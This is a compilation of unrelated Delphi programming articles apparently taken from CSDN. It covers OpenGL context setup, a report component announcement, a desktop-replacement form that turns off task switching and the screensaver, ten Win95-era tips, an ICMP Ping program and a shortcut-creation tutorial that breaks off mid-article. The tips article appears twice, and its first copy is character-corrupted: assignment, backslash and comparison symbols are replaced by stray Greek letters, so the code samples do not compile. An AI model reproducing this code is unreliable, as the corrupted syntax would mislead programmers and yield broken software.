However, if you wish, ModelMaker can be set to automatically regenerate a unit every time you make a change to that unit. This is called Auto Generation. You can enable or disable Auto Generation for each unit in your model by clicking either the Enable or Disable Auto Generation buttons in the Units View toolbar (see sidebar). Now, anytime you make a change to an Auto Generated unit, ModelMaker will regenerate the file. For that reason, care should be taken when enabling Auto Generation.
There are several other options and Delphi integration features which can effect when and how code is generated; we'll take a look at these options in Tutorial 6.

Return to the Introduction.
Go on to the next tutorial.


CSDN_文档中心_Delphi版OpenGL样例代码导游

由于Delphi自带OpenGL.pas是1.0版的，而现在实际使用的至少是1.1版，Windows纯软件模拟方式也是1.1版的，所以要自己导入一些必要的函数。也可用一些开源的免费单元，如Mike Lischke的OpenGL12.pas。当然，自己写可以设计得更简洁，而且不必在过于超前完备的庞大代码中找错误。

首先引入必要的单元Windows, Messages, OpenGL

要增加一些必要的扩展。

const
// GL_EXT_bgra
GL_BGR_EXT = $80E0;
GL_BGRA_EXT = $80E1;

// polygon offset
GL_POLYGON_OFFSET_UNITS = $2A00;
GL_POLYGON_OFFSET_POINT = $2A01;
GL_POLYGON_OFFSET_LINE = $2A02;
GL_POLYGON_OFFSET_FILL = $8037;
GL_POLYGON_OFFSET_FACTOR = $8038;

procedure glBindTexture(target: GLEnum; texture: GLuint); stdcall; external opengl32;
procedure glDeleteTextures(n: GLsizei; textures: PGLuint); stdcall; external opengl32;
procedure glGenTextures(n: GLsizei; textures: PGLuint); stdcall; external opengl32;
function glIsTexture(texture: GLuint): GLboolean; stdcall; external opengl32;
procedure glPolygonOffset(factor, units: GLfloat); stdcall; external opengl32;

// 此声明用于纠正OpenGL.pas的一个bug
function gluBuild2DMipmaps(target: GLEnum; components, width, height: GLint; format, atype: GLEnum; Data: Pointer): GLint; stdcall; external opengl32;

现在接口已经基本升级到1.1版。如果还需要其他扩展，可类似增加。

接下来，要创建OpenGL的绘图上下文RC，为此需要GDI窗口的设备上下文DC。TForm.Handle属性或其他TWinControl的Handle属性都是DC。可使用如下函数由DC创建RC，返回值为RC的句柄。之后即可使用OpenGL绘图。一般可在Form的OnCreate事件内使用。此函数的选项含义分别为深度缓冲区，模版缓冲区，积累缓冲区，生成Alpha通道的值。

type
TRCOptions = set of (roDepth, roStencil, roAccum, roAlpha);

function CreateRC(dc: HDC; opt: TRCOptions): HGLRC;
var
PFDescriptor: TPixelFormatDescriptor;
PixelFormat: Integer;
begin
FillChar(PFDescriptor, SizeOf(PFDescriptor), 0);
with PFDescriptor do
begin
nSize := SizeOf(PFDescriptor);
nVersion := 1;
dwFlags := PFD_SUPPORT_OPENGL or PFD_DRAW_TO_WINDOW or PFD_DOUBLEBUFFER;
iPixelType := PFD_TYPE_RGBA;
cColorBits := GetDeviceCaps(DC, BITSPIXEL) * GetDeviceCaps(DC, PLANES);
if roDepth in opt then cDepthBits := 24;
if roStencil in opt then cStencilBits := 8;
if roAccum in opt then cAccumBits := 64;
iLayerType := PFD_MAIN_PLANE;
end;

PixelFormat := ChoosePixelFormat(DC, @PFDescriptor);
Assert(PixelFormat <> 0);
Assert(SetPixelFormat(DC, PixelFormat, @PFDescriptor));
Result := wglCreateContext(DC);
Assert(Result <> 0);
wglMakeCurrent(dc, Result);
end;

在Form的OnPaint事件里绘图。记住，绘图完成后要用SwapBuffers(dc: HDC)交换绘图缓冲和显示缓冲，这样图象才会显示出来。还要记得在Form的OnResize事件里调用 glViewport(0, 0, ClientWidth, ClientHeight); 好让RC和DC同步。

在Form的OnDestroy事件里销毁RC。

procedure DestroyRC(rc: HGLRC);
begin
if rc = 0 then Exit;
wglMakeCurrent(0, 0);
wglDeleteContext(rc);
end;

至此，一个OpenGL程序的框架就大致成型。但还有问题要解决。

第一，要防止Windows擦除背景而影响速度。在Form中加入成员函数

private
procedure WMEraseBkgnd(var Message: TWmEraseBkgnd); message WM_ERASEBKGND;

procedure TGLWindow.WMEraseBkgnd(var Message: TWmEraseBkgnd);
begin
Message.Result := 1;
end;

第二，为了更保险些。再增加以下成员函数。

protected
procedure CreateParams(var Params: TCreateParams); override;

procedure TGLWindow.CreateParams(var Params: TCreateParams);
begin
inherited;
with Params do
begin
Style := Style or WS_CLIPCHILDREN or WS_CLIPSIBLINGS;
WindowClass.Style := CS_VREDRAW or CS_HREDRAW or CS_OWNDC;
end;
end;

好，现在就可以忘掉这些麻烦的东西了，写你的精彩3D显示吧：）

还得唠叨几句，在一个线程里不要创建多个RC，这样会严重影响性能。有些个人的OpenGL窗口控件演示有在一个Form上放多个控件，其实并非好主义。应该用一个OpenGL窗口显示多个视图。另外，不要跨线程访问OpenGL函数。

还有Windows自动安装显卡驱动时不会安装OpenGL的硬件加速，一定要自己安装显卡厂商的驱动！

另外，副赠全屏显示的函数：）

function FullScreen(win: TWinControl; width, height, bitdepth: integer): boolean;
var displaymode: DEVMODE;
begin
FillChar(displaymode, sizeof(displaymode), 0);
with displaymode do
begin
dmSize := sizeof(displaymode);
dmPelsWidth := width;
dmPelsHeight := height;
dmBitsPerPel := bitdepth;
dmFields := DM_BITSPERPEL or DM_PELSWIDTH or DM_PELSHEIGHT;
end;
if ChangeDisplaySettings(displaymode, CDS_FULLSCREEN) = DISP_CHANGE_SUCCESSFUL
then begin
ShowWindow(win.Handle, WS_MAXIMIZE);
result := true;
end
else result := false;
end;

procedure RestoreDisplay(win: TWinControl);
begin
ChangeDisplaySettings(PDEVMODE(0)^, 0);
ShowWindow(win.Handle, SW_RESTORE);
end;

========================================

LI Qingrui
http://wrighteagle.org/appdev


CSDN_文档中心_Delphi报表控件----SReport3强大易用稳定与最终用户交互良好(新)

一个是将（商务管理软件）开发人员的报表设计工作量降为零，同时为最终用户提供“简单易用（这很重要）”、“功能强大”、“灵活方便”的报表自定义途径的报表组件。

================================================================
请各位多多指教，thanks。
================================================================

SReport 是谁？
=============
一个是将（商务管理软件）开发人员的报表设计工作量降为零，同时为最终用户提供“简单易用（这很重要）”、“功能强大”、“灵活方便”的报表自定义途径的Delphi Vcl。

SReport 能做什么？
=================
（一）自定义页面、边距、字体；
（二）自定义标题和页眉页脚；
（三）在表头尾可以打印任何相关数据主表中的数据和自定义标签。
（四）可以定义明细数据中要打印的字段、标题、宽度、对齐方式、字体。
（五）可以定义明细数据是否页计、是否累计、是否总计、大写字段；
（六）实现针打中的卷纸打印－打多少内容，走多少纸。
（七）直接生成文本文件、EXCEL格式文件、HTML网页格式文件。
（八）用户可以自己定义是否要打印报表顶端的单位信息标志。
（九）支持同一报表多格式并存，按用户的选择输出不同的报表。

SReport 是如何工作的？
=====================
提供需要打印的数据集(Table,Query,ADOQuery等即TDataSet)名称并保证它处于打开状态。其它一切问题就由控件自己搞定（单表、主从结构、多主一从构，自定义结构）。

SReport 新增功能
================
（一）按任意字段分组打印并可对分组打印的相关选项进行设置。
如：按什么字段进行分组(需要软件设计者提供的数据源是按这个字段排序的)；
每组打印完毕是否换页；
组间间距是多少；
换组后序号是否重排；
在报表的最后是否打印总合计。
（二）在报表最尾打印用户自定义的信息，并可以保存这些信息。
（三）更改了老版本中的一个错误（感谢用户为此所做的工作）。

================================================================
http://borlandsoft.home.chinaren.com/Soft/SReport.exe
http://www.csdn.net/cnshare/soft.asp?class=219

Write by Songlichao 2001/05/23
Email:songlch@263.net
================================================================


CSDN_文档中心_Delphi编程：完全控制桌面的实现

田志刚　(2000-10-19)

    在Windows 9x中系统桌面和开始菜单可以说是它的一大特色，其实我们可以利用Delphi轻易地在应用程序中实现这种技术 ：

    新建一个应用程序， 将Form1窗体的BorderStyle属性设置为bsNone，FormStyle属性设置为 fsStayOnTop，WindowState属性设置为wsMaximized。

    如有必要可在Form1窗体中放置一个Image控件Image1，为它的Picture属性装入一幅自己喜爱的图像并将它的Align属性设置为alClient，Stretch设置为True,使图像拉伸占满Form1的客户区，作为系统背景。

    然后，新建一个窗体Form2，将它的BorderStyle属性设置为bsNone，FormStyle属性设置为fsStayOnTop。

    在Form2内放置一个SpeedButton控件SpeedButton1和一个PopupMenu控件PopupMenu1。

    将SpeedButton1的Top属性设为0，Left属性设为0，Caption属性设为 “在这里”(也可随你) ，还可设置Glyph属性为它加上一个图像。双击PopupMenu1控件，根据自己需要设置各个菜单项。

    接下来为Form1的OnCreate事件添加如下代码：

    procedure TForm1.FormCreate(Sender: TObject);

    var

     tep:integer;

    begin

    //用来屏蔽Ctrl＋Alt＋Del、Ctrl＋Tab

    功能及屏幕保护程序的运行

     tep:=0;

     systemparametersinfo(spi_setfasttaskswitch,

     1,@tep,0);

     systemparametersinfo(spi_screensaverrunning,

     1,@tep,0);

    end;

    为Form1的OnMouseMove事件添加代码如下：

    procedure TForm1.FormMouseMove

    (Sender: TObject; Shift: TShiftState; X,Y: Integer);

    begin

    //当鼠标移动到Form1的底部时显示Form2(即开始菜单) ，否则隐藏Form2

     if y〉form1.height－30 then

     begin

     form2.left:=form1.left;

     form2.top:=form1.height－30;

     form2.width:=form1.width;

     form2.height:=30;

     form2.show;

     end

     else

     form2.hide;

    end;

    如果你按上面步骤添加了Image1控件，请在Form1的Image1的OnMouseMove事件编辑栏内选择FormMouseMove。

    为Form2中的SpeedButton1的OnClick事件添加如下代码：

    procedure TForm2.SpeedButton1Click

    (Sender: TObject);

    begin

    //当用户单击 SpeedButton1按钮后弹出由PopupMenu1构成的“开始”菜单项

     PopupMenu1.Popup(form2.left,form2.top);

    end;

    最后为“退出考勤系统”菜单项的OnClick事件添加如下代码：

    procedure TForm2.a6Click(Sender: TObject);

    begin　　 //退出应用程序

     application.Terminate;

    end;

    现在，您就可以运行这个程序看看您的劳动成果了。


CSDN_文档中心_Delphi编程技巧十则

Delphi作为一门新起的Windows编程语言，由于其集
众多的优秀特性于一身，因而越来越得到广大编程人员和
发烧友的青睐。以下十则技巧涉及的面比较广泛，希望能
够对Delphi的爱好者有所裨益。

    1．类似于vb．中的doevents功能。

    大家或许发现，在Delphi中没有类似于vb．中的doev
ents函数，这样有的时候，我们将无法使Windows响应多
个同时发生的事件。其实，在Delphi的application对象
中包括类似的一个方法：ProcessMessage，你可以通过调
用Application．ProcessMessage来完成象vb．中的doeve
nts一样的功能。

    2．在Delphi中调用NetscapeNavigator。

    随着Internet的火爆，有没有想过在你的Delphi程序
中启动Netscape浏览器，显示出你指定的WWW地址的主页
。下面这个程序能够完成这一功能。

    programNetscape；

    usesDDEMan；

    procedureGotoURL（sURL：string）；

    var

    dde：TDDEClientConv；

    begin

    dde：ΚTDDEClientConv．Create（nil）；

    withddedo

    begin

    ／／specifythelocationofnetscape．exe

    ServiceApplication：Κ′c：ιns32ιprogramιne
tscape．exe′；

    ／／activatetheNetscapeNavigator

    SetLink（′Netscape′，′WWW—Activate′）；

    RequestData（′0xFFFFFFFF′）；

    ／／gotothespecifiedURL

    SetLink（′Netscape′，′WWW—OpenURL′）；

    RequestData（sURL＋′，，0xFFFFFFFF，0x3，，，
′）；

    CloseLink；

    end；

    dde．Free；

    end；

    begin

    GotoURL（′http：／／www．yahoo．com／′）；

    end．

    3．格式化整数输出。

    比较大的数字在输出时会显得不易阅读，在Delphi中
显示带分节号的数字是相当简单的一件事，如下即可：xx
xxx．caption：ΚFormatFloat（′＃′，524667500）。

    4．在编译时获得提示。

    在Delphi2．0中，编译时，可以让编译器告诉你一些
提示，比如哪些变量声明了，却从来没有使用过。我们知
道，可以通过菜单中的选项来控制是否要Delphi这样做，
但如果由于一些特殊需要，你只要在指定的代码段需要De
lphi这样的提示，怎么办呢？请参考如下的程序。

    ｛＄HINTON｝

    procedureTform1．Button1Click（Sender：TObject
）；

    var

    X：integer；

    begin

    end；

    ｛＄HINTOFF｝

    5．更改Windows95的墙纸。

    在Delphi中你可以很方便地更改墙纸，请参考以下的
程序。

    procedureChangeIt；

    var

    Reg：TregIniFile；

    begin

    Reg：ΚTRegIniFile．Create（′ControlPanel′）
；

    Reg．WriteString（′desktop′，′Wallpaper′，
′c：ιpwin95ιforest．bmp′）；

    Reg．WriteString（′desktop′，′TileWallpaper
′，′1′）；

    Reg．Free；

    SystemParametersInfo（SPI—SETDESKWALLPAPER，0
，nil，SPIF—SENDWININICHANGE）；

    end；

    6．获得最后使用文件的日期。

    在Win95中有一项新的功能，就是可以获得访问文件
的最后日期。著名的CleanSweapforWin95软件中就是靠这
一功能来作为判断某个文件是否被经常访问的依据之一。
在Delphi中，我们可以通过下面的程序来达到此功能。

    functionGetFileLastAccessTime（sFileName：stri
ng）：TDateTime；

    var

    ffd：TWin32FindData；

    dft：DWord；

    lft：TFileTime；

    h：THandle；

    begin

    ／／getfileinformation

    h：ΚWindows．FindFirstFile（PChar（sFileName
），ffd）；

    if（INVALID—HANDLE—VALUEΙΛh）then

    begin

    ／／we′relookingforjustonefile，socloseour″f
ind″

    Windows．FindClose（h）；

    ／／converttheFILETIMEtolocalFILETIME

    FileTimeToLocalFileTime（ffd．ftLastAccessTime
，lft）；

    ／／convertFILETIMEtoDOStime

    FileTimeToDosDateTime（lft，LongRec（dft）．Hi
，LongRec（dft）．Lo）；

    ／／finally，convertDOStimetoTDateTimeforusein
Delphi′snativedate／timefunctions

    Result：ΚFileDateToDateTime（dft）；

    end；

    end；

    GetFileLastAccessTime（）将会以Delphi的TdateTi
me格式返回你所指定的文件的最后访问日期。

    7．丰富多彩的标签。

    我们已经不满足于Delphi提供的简单的标签，能不能
在标签中有不同的字体，有不同的颜色，以此来丰富我们
的表现能力。回答是肯定的，并且用不着第三方提供的控
件，我们只要巧妙的利用Delphi自己提供的TRichEdit就
可以了。首先将TRichEdit控件的边框去除：RichEdit1
．BorderStyle：ΚbsNone；同时设置只读属性为真：Rich
Edit1．ReadOnly：ΚTrue；然后，你利用write之类的
软件制作好RichText格式的文本，通过以下语句就可以显
示出来了：

    RichEdit1．PlainText：ΚFalse；

    RichEdit1．Lines．LoadFromFile（′c：ιtest．r
tf′）；

    8．如何防止Win95显示严重错误。

    不管你的程序如何反复调试，交给用户之后，总有可
能发生你意想不到的错误，如何避免Win95显示出白色的
窗口，告诉你的用户发生了难堪的意外错误呢？我们可以
这样做：

    var

    wOldErrorMode：Word；

    begin

    ／／tellwindowstoignorecriticalerrorsandsave
currenterrormode

    wOldErrorMode：ΚSetErrorMode（SEM—FAILCR
ITICALERRORS）；

    try

    ／／codethatmightgenerateacriticalerrorgoesher
e．．．

    finally

    ／／gobacktopreviouserrormode

    SetErrorMode（wOldErrorMode）；

    end；

    end；

    主要是利用SetErrorMode（）来完成这一功能。

    9．刚才用鼠标击了哪一个对象。

    在Win95中，鼠标的右键起到了很大的作用，但是，
由于历史的原因，对于右键的使用即使在Delphi中，也还
不够有效，下面的程序可以告诉你如何知道刚才鼠标右击
的对象名称。首先建立一个popmenu，然后以下的代码就可
以告诉你刚才右击的对象名称：PopupMenu1．PopupCom
ponent．ClassName。

    10．检测CD－ROM或是其他磁盘是否有过变化。

    最简单的检查CD－ROM或是磁盘是否有过变化的方法
是检查其volume号码。你可以简单地运用下面的函数来返
回磁盘的volume系列号码GetDiskVolSerialID（′E′），
函数代码如下：

    functionGetDiskVolSerialID（cDriveName：char）
：DWord；

    var

    dwTemp1，dwTemp2：DWord；

    begin

    GetVolumeInformation（PChar（cDriveName＋′：
ι′），

    Nil，

    0，

    ΝResult，

    dwTemp2，

    dwTemp2，

    Nil，

    0）；

    end；


CSDN_文档中心_Delphi编程技巧实例

Delphi编程技巧实例
倪天
Delphi作为一门新起的Windows编程语言，由于其集众多的优秀特性于一身，因而越来越得到广大编程人员和发烧友的青睐。以下十则技巧涉及的面比较广泛，希望能够对Delphi的爱好者有所裨益。

1．类似于vb．中的doevents功能。

    大家或许发现，在Delphi中没有类似于vb．中的doevents函数，这样有的时候，我们将无法使Windows响应多个同时发生的事件。其实，在Delphi的application对象中包括类似的一个方法：ProcessMessage，你可以通过调用Application．ProcessMessage来完成象vb．中的doevents一样的功能。

2．在Delphi中调用NetscapeNavigator。

    随着Internet的火爆，有没有想过在你的Delphi程序中启动Netscape浏览器，显示出你指定的WWW地址的主页。下面这个程序能够完成这一功能。

    programNetscape；

    usesDDEMan；

    procedureGotoURL（sURL：string）；

    var

    dde：TDDEClientConv；

    begin

    dde：=TDDEClientConv．Create（nil）；

    withddedo

    begin

    ／／specifythelocationofnetscape．exe

    ServiceApplication：=′c：\ns32\program\netscape．exe′；

    ／／activatetheNetscapeNavigator

    SetLink（′Netscape′，′WWW—Activate′）；

    RequestData（′0xFFFFFFFF′）；

    ／／gotothespecifiedURL

    SetLink（′Netscape′，′WWW—OpenURL′）；

    RequestData（sURL＋′，，0xFFFFFFFF，0x3，，，′）；

    CloseLink；

    end；

    dde．Free；

    end；

    begin

    GotoURL（′http：／／www．yahoo．com／′）；

    end．

3．格式化整数输出。

    比较大的数字在输出时会显得不易阅读，在Delphi中显示带分节号的数字是相当简单的一件事，如下即可：xxxxx．caption：ΚFormatFloat（′＃′，524667500）。

4．在编译时获得提示。

    在Delphi2．0中，编译时，可以让编译器告诉你一些提示，比如哪些变量声明了，却从来没有使用过。我们知道，可以通过菜单中的选项来控制是否要Delphi这样做，但如果由于一些特殊需要，你只要在指定的代码段需要Delphi这样的提示，怎么办呢？请参考如下的程序。

    ｛＄HINTON｝

    procedureTform1．Button1Click（Sender：TObject）；

    var

    X：integer；

    begin

    end；

    ｛＄HINTOFF｝

5．更改Windows95的墙纸。

    在Delphi中你可以很方便地更改墙纸，请参考以下的程序。

    procedureChangeIt；

    var

    Reg：TregIniFile；

    begin

    Reg：ΚTRegIniFile．Create（′ControlPanel′）
；

    Reg．WriteString（′desktop′，′Wallpaper′，
′c：\pwin95\forest．bmp′）；

    Reg．WriteString（′desktop′，′TileWallpaper
′，′1′）；

    Reg．Free；

    SystemParametersInfo（SPI—SETDESKWALLPAPER，0
，nil，SPIF—SENDWININICHANGE）；

    end；

6．获得最后使用文件的日期。

    在Win95中有一项新的功能，就是可以获得访问文件的最后日期。著名的CleanSweapforWin95软件中就是靠这一功能来作为判断某个文件是否被经常访问的依据之一。在Delphi中，我们可以通过下面的程序来达到此功能。

    functionGetFileLastAccessTime（sFileName：string）：TDateTime；

    var

    ffd：TWin32FindData；

    dft：DWord；

    lft：TFileTime；

    h：THandle；

    begin

    ／／getfileinformation

    h：ΚWindows．FindFirstFile（PChar（sFileName），ffd）；

    if（INVALID—HANDLE—VALUEΙΛh）then

    begin

    ／／we′relookingforjustonefile，socloseour″find″

    Windows．FindClose（h）；

    ／／converttheFILETIMEtolocalFILETIME

    FileTimeToLocalFileTime（ffd．ftLastAccessTime，lft）；

    ／／convertFILETIMEtoDOStime

    FileTimeToDosDateTime（lft，LongRec（dft）．Hi，LongRec（dft）．Lo）；

    ／／finally，convertDOStimetoTDateTimeforuseinDelphi′snativedate／timefunctions

    Result：ΚFileDateToDateTime（dft）；

    end；

    end；

    GetFileLastAccessTime（）将会以Delphi的TdateTime格式返回你所指定的文件的最后访问日期。

7．丰富多彩的标签。

    我们已经不满足于Delphi提供的简单的标签，能不能在标签中有不同的字体，有不同的颜色，以此来丰富我们的表现能力。回答是肯定的，并且用不着第三方提供的控件，我们只要巧妙的利用Delphi自己提供的TRichEdit就可以了。首先将TRichEdit控件的边框去除：RichEdit1．BorderStyle：ΚbsNone；同时设置只读属性为真：RichEdit1．ReadOnly：ΚTrue；然后，你利用write之类的软件制作好RichText格式的文本，通过以下语句就可以显示出来了：

    RichEdit1．PlainText：ΚFalse；

    RichEdit1．Lines．LoadFromFile（′c：\test．rtf′）；

    8．如何防止Win95显示严重错误。

    不管你的程序如何反复调试，交给用户之后，总有可能发生你意想不到的错误，如何避免Win95显示出白色的窗口，告诉你的用户发生了难堪的意外错误呢？我们可以这样做：

    var

    wOldErrorMode：Word；

    begin

    ／／tellwindowstoignorecriticalerrorsandsavecurrenterrormode

    wOldErrorMode：ΚSetErrorMode（SEM—FAILCRITICALERRORS）；

    try

    ／／codethatmightgenerateacriticalerrorgoeshere．．．

    finally

    ／／gobacktopreviouserrormode

    SetErrorMode（wOldErrorMode）；

    end；

    end；

    主要是利用SetErrorMode（）来完成这一功能。

9．刚才用鼠标击了哪一个对象。

    在Win95中，鼠标的右键起到了很大的作用，但是，由于历史的原因，对于右键的使用即使在Delphi中，也还不够有效，下面的程序可以告诉你如何知道刚才鼠标右击的对象名称。首先建立一个popmenu，然后以下的代码就可以告诉你刚才右击的对象名称：PopupMenu1．PopupComponent．ClassName。

10．检测CD－ROM或是其他磁盘是否有过变化。

    最简单的检查CD－ROM或是磁盘是否有过变化的方法是检查其volume号码。你可以简单地运用下面的函数来返回磁盘的volume系列号码GetDiskVolSerialID（′E′），函数代码如下：

    functionGetDiskVolSerialID（cDriveName：char）：DWord；

    var

    dwTemp1，dwTemp2：DWord；

    begin

    GetVolumeInformation（PChar（cDriveName＋′：\′），Nil，0，ΝResult，dwTemp2，dwTemp2，Nil，0）；

    end；


CSDN_文档中心_Delphi编程实现Ping操作

Delphi编程实现Ping操作
    张泰立

    使用过网络的用户都熟悉“Ping”这个指令，它是一个DOS下的可执行文件，一般用它来检查网络连接的好坏程度。其基本原理是利用TCP/IP协议包中ICMP协议中的一个功能，即向所指定的计算机发送一个请求，收到请求的计算机返回一个应答，借此来判断该计算机是否在网上运行或者检查网络连接是否稳定可靠。在Ping程序执行过程中，双方计算机所耗费的资源都很少，因此，它是一个非常实用的工具。

    我们可以通过编程来实现“Ping”操作，对其加以改进，使之具有Windows的界面风格，显示比DOS更加直观。

    首先，对编程中需要的动态链接库作一简要说明：在Windows的System目录下，你可以找到Icmp.dll文件，该动态链接库提供了ICMP协议的所有功能，我们的编程就建立在对该动态链接库的调用上。

    Icmp.dll文件内的调用函数说明如下：

    1、IcmpCreateFile

    打开一个句柄，通过该句柄你可以发送ICMP的请求回送报文。

    2、IcmpCloseHandle

    关闭你通过IcmpCreateFile函数打开的句柄。

    3、IcmpSendEcho

    通过你打开的句柄发送ICMP请求，在超时或应答报文接收后返回。其参数基本上和它的帧结构一致，可参看下面的程序部分，其具体含意你可以参看有关ICMP协议的书籍。

    初步了解了上述的三个函数后，我们就可以开始编程了。

    首先，我们的程序运行后应该有如图1所示的基本功能。为此，我们可先在Delphi的窗口中放入右上图中所示的控件，如按钮、编辑框和文本显示框等。

    （G72.JPG）

    例程运行示意图

    然后，在程序的开始部分（FormCreate）对WinSocket进行初始化，其作用是申明使用的版本信息，同时调入Icmp.dll库。

    type

     PIPOptionInformation = ^TIPOptionInformation;

     TIPOptionInformation = packed record

     TTL: Byte;

     TOS: Byte;

     Flags: Byte;

     OptionsSize: Byte;

     OptionsData: PChar;

     end;

     PIcmpEchoReply = ^TIcmpEchoReply;

     TIcmpEchoReply = packed record

     Address: DWORD;

     Status: DWORD;

     RTT: DWORD;

     DataSize: Word;

     Reserved: Word;

     Data: Pointer;

     Options: TIPOptionInformation;

     end;

     TIcmpCreateFile = function: THandle; stdcall;

     TIcmpCloseHandle = function(IcmpHandle: THandle): Boolean; stdcall;

     TIcmpSendEcho = function(IcmpHandle:THandle;

     DestinationAddress: DWORD;

     RequestData: Pointer;

     RequestSize: Word;

     RequestOptions: PIPOptionInformation;

     ReplyBuffer: Pointer;

     ReplySize: DWord;

     Timeout: DWord

     ): DWord; stdcall;

     TMyPing = class(TForm)

     Panel1: TPanel;

     Label1: TLabel;

     PingEdit: TEdit;

     ExeBtn: TButton;

     Button2: TButton;

     Button3: TButton;

     StatusShow: TMemo;

     procedure Button3Click(Sender: TObject);

     procedure FormCreate(Sender: TObject);

     procedure ExeBtnClick(Sender: TObject);

     private

     { Private declarations }

     hICMP: THANDLE;

     IcmpCreateFile : TIcmpCreateFile;

     IcmpCloseHandle: TIcmpCloseHandle;

     IcmpSendEcho: TIcmpSendEcho;

     public

     { Public declarations }

    end;

    procedure TMyPing.FormCreate(Sender: TObject);

    var

     WSAData: TWSAData;

     hICMPdll: HMODULE;

    begin

     WSAStartup($101, WSAData);

     // Load the icmp.dll stuff

     hICMPdll := LoadLibrary('icmp.dll');

     @ICMPCreateFile := GetProcAddress(hICMPdll, 'IcmpCreateFile');

     @IcmpCloseHandle := GetProcAddress(hICMPdll, 'IcmpCloseHandle');

     @IcmpSendEcho := GetProcAddress(hICMPdll, 'IcmpSendEcho');

     hICMP := IcmpCreateFile;

     StatusShow.Text := '';

     StatusShow.Lines.Add('目的IP地址 字节数 返回时间(毫秒)');

    end;

    接下来，就要进行如下所示的Ping操作的实际编程过程了。

    procedure TMyPing.ExeBtnClick(Sender: TObject);

    var

     IPOpt:TIPOptionInformation;// IP Options for packet to send

     FIPAddress:DWORD;

     pReqData,pRevData:PChar;

     pIPE:PIcmpEchoReply;// ICMP Echo reply buffer

     FSize: DWORD;

     MyString:string;

     FTimeOut:DWORD;

     BufferSize:DWORD;

    begin

     if PingEdit.Text <> '' then

     begin

     FIPAddress := inet_addr(PChar(PingEdit.Text));

     FSize := 40;

     BufferSize := SizeOf(TICMPEchoReply) + FSize;

     GetMem(pRevData,FSize);

     GetMem(pIPE,BufferSize);

     FillChar(pIPE^, SizeOf(pIPE^), 0);

     pIPE^.Data := pRevData;

     MyString := 'Hello,World';

     pReqData := PChar(MyString);

     FillChar(IPOpt, Sizeof(IPOpt), 0);

     IPOpt.TTL := 64;

     FTimeOut := 4000;

     IcmpSendEcho(hICMP, FIPAddress, pReqData, Length(MyString), @IPOpt, pIPE, BufferSize, FTimeOut);

     if pReqData^ = pIPE^.Options.OptionsData^ then

     begin

     StatusShow.Lines.Add(PChar(PingEdit.Text) + ' ' +IntToStr(pIPE^.DataSize) + ' ' +IntToStr(pIPE^.RTT));

     end;

     FreeMem(pRevData);

     FreeMem(pIPE);

     end

    end;

    通过上面的编程，我们就实现了Ping功能的界面操作。实际上，ICMP协议的功能还有很多，都可以通过对Icmp.dll的函数调用来实现。


CSDN_文档中心_Delphi编程实现程序快捷方式[原创]

Delphi编程实现程序快捷方式[原创]
★中共河南省济源市委党校，耿百强

摘要：本文主要介绍了用Delphi编程实现程序的快捷方式的方法，其中主要讨论了Delphi中COM编程的方法、快捷方式的实现方法，并给出了一个实例程序。
关键词：Delphi，COM编程，快捷方式

Windows系统提供了快捷方式来简化用户对应用程序的执行，尽量使得用户不与应用程序的具体位置挂上关系，大大方便了用户的操作。所以，在Windows系统下，大多安装程序一般都提供创建程序组和快捷方式。但，你有没有想过，快捷方式是如何实现的呢？
下面，我就和大家来讨论一下关于快捷方式编程实现的原理，并给大家一个具体的示例程序。

一、 编程原理
1、首先找到快捷方式的存放位置，创建程序组。
在Windows系统下，所谓的程序组就是文件夹，只是这些文件夹的存放位置比较特殊罢了，一般存放在“D:\Documents and Settings\All Users.WINNT\「开始」菜单\程序”文件夹（在Windows2000下），你可以打开这个文件夹，是不是可以看到那些以前只能在“开始-程序”中才能看到的项目？！所以，必须首先得到快捷方式的存放位置，要解决这个问题，可以有两种解决方法。
第一、通过Windows2000下的一个API函数来实现：
HRESULT SHGetSpecialFolderLocation(
HWND hwndOwner,
int nFolder,
LPITEMIDLIST *ppidl
);
第二、通过注册表来实现，打开注册表，然后依次打开“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders”，可以找到比如“开始菜单”、“程序”等文件夹的存放位置。
明白了程序组就是文件夹，要建立程序组就非常简单了，只要在找到的“程序”这个文件夹的位置中创建一个以“程序组”命名的文件夹就可以了。比如，我们把找到的“程序”所在的文件夹存放在Directory中，而程序组的名称保存在GroupName中，下面的代码可以实现在“程序”文件夹中创建“程序组”：
Directory := Reg.ReadString('Programs');
SubDir:= Directory+'\'+GroupName;
CreateDir(SubDir);
一般的应用程序都会通过API函数来实现，在本例中，我们通过第二种方法来实现。
2、创建快捷方式
解决了前面的两个小问题，我们再来看如何具体实现快捷方式的创建。如果你经常编写程序，可能会想到利用API函数来实现，不幸的是，你在API函数中找不到创建快捷方式的相应函数，因为这个功能需要用COM来实现。一些人可能会对COM编程感到陌生与恐惧，实际上，COM编程并不复杂，你不需要太了解COM就可以很好地使用它。
Windows提供了一个COM接口IshellLink，它能够帮助我们创建、修改、删除快捷方式。要使用COM接口提供的功能，必须首先调用CreateCOMObject函数创建一个接口的实例，Delphi提供了创建COM的一个基类Iunknown，具体的示例程序如下：
var
MyObject : IUnknown; file://IUnknown是COM的基类
MySLink : IShellLink; file://用于创建快捷方式的对象
MyObject := CreateCOMObject(CLSID_ShellLink);
MySLink := MyObject as IShellLink;
创建实例后，通过调用SetPath()方法设置快捷方式指向的源程序的路径，快捷方式的存储位置应该是：“程序”的位置+程序组名称+快捷方式名称+扩展名.lnk；通过SetDescription()方法设置快捷方式的描述，当然你还可以调用比如SetHotKey()等方法设置热键、显示的图标（默认为实际程序的图标）等。实际上这个接口功能远不止这些，限于篇幅，直接略过。
设置完成的快捷方式并没有保存到磁盘上，还必须通过IpersistFile对象的Save()方法来实现。如下面的代码：
MyPFIle := MyObject as IPersistFile;
MyPFile.Save(PWChar(WFileName),True);
需要注意的是：快捷方式应该使用Unicode存储，所以必须调用PWChar()函数将其转换。

二、编程示例
下面，让我们用Delphi6来编程实现一个简单的示例程序。程序的功能如下：你可以在窗口的三个文本框中输入源程序的位置（也可以通过浏览按钮来实现）、程序组名称和快捷方式名称，通过下拉框来选择快捷方式的存放位置，单击“创建”按钮可以创建程序组和快捷方式了。是不是很酷？心动不如行动，让我们一步一步来实现。
1、 启动Delphi6.0，打开一个新的标准工程。在窗体中添加所需的控件。
首先向窗体中添加四个Label对象、三个Edit对象、一个下拉框对象ComboBox1、三个Button对象和一个OpenDialog对象。依次设置其相关属性等，调整后的窗体界面如图1所示。
<P><IMG BORDER="0" SRC="http://www.jyzx.com/bbs/uploadImages/2002313434547824.jpg" WIDTH="412" HEIGHT="292"></P>

2、 向Tform1对象中新增一个函数：
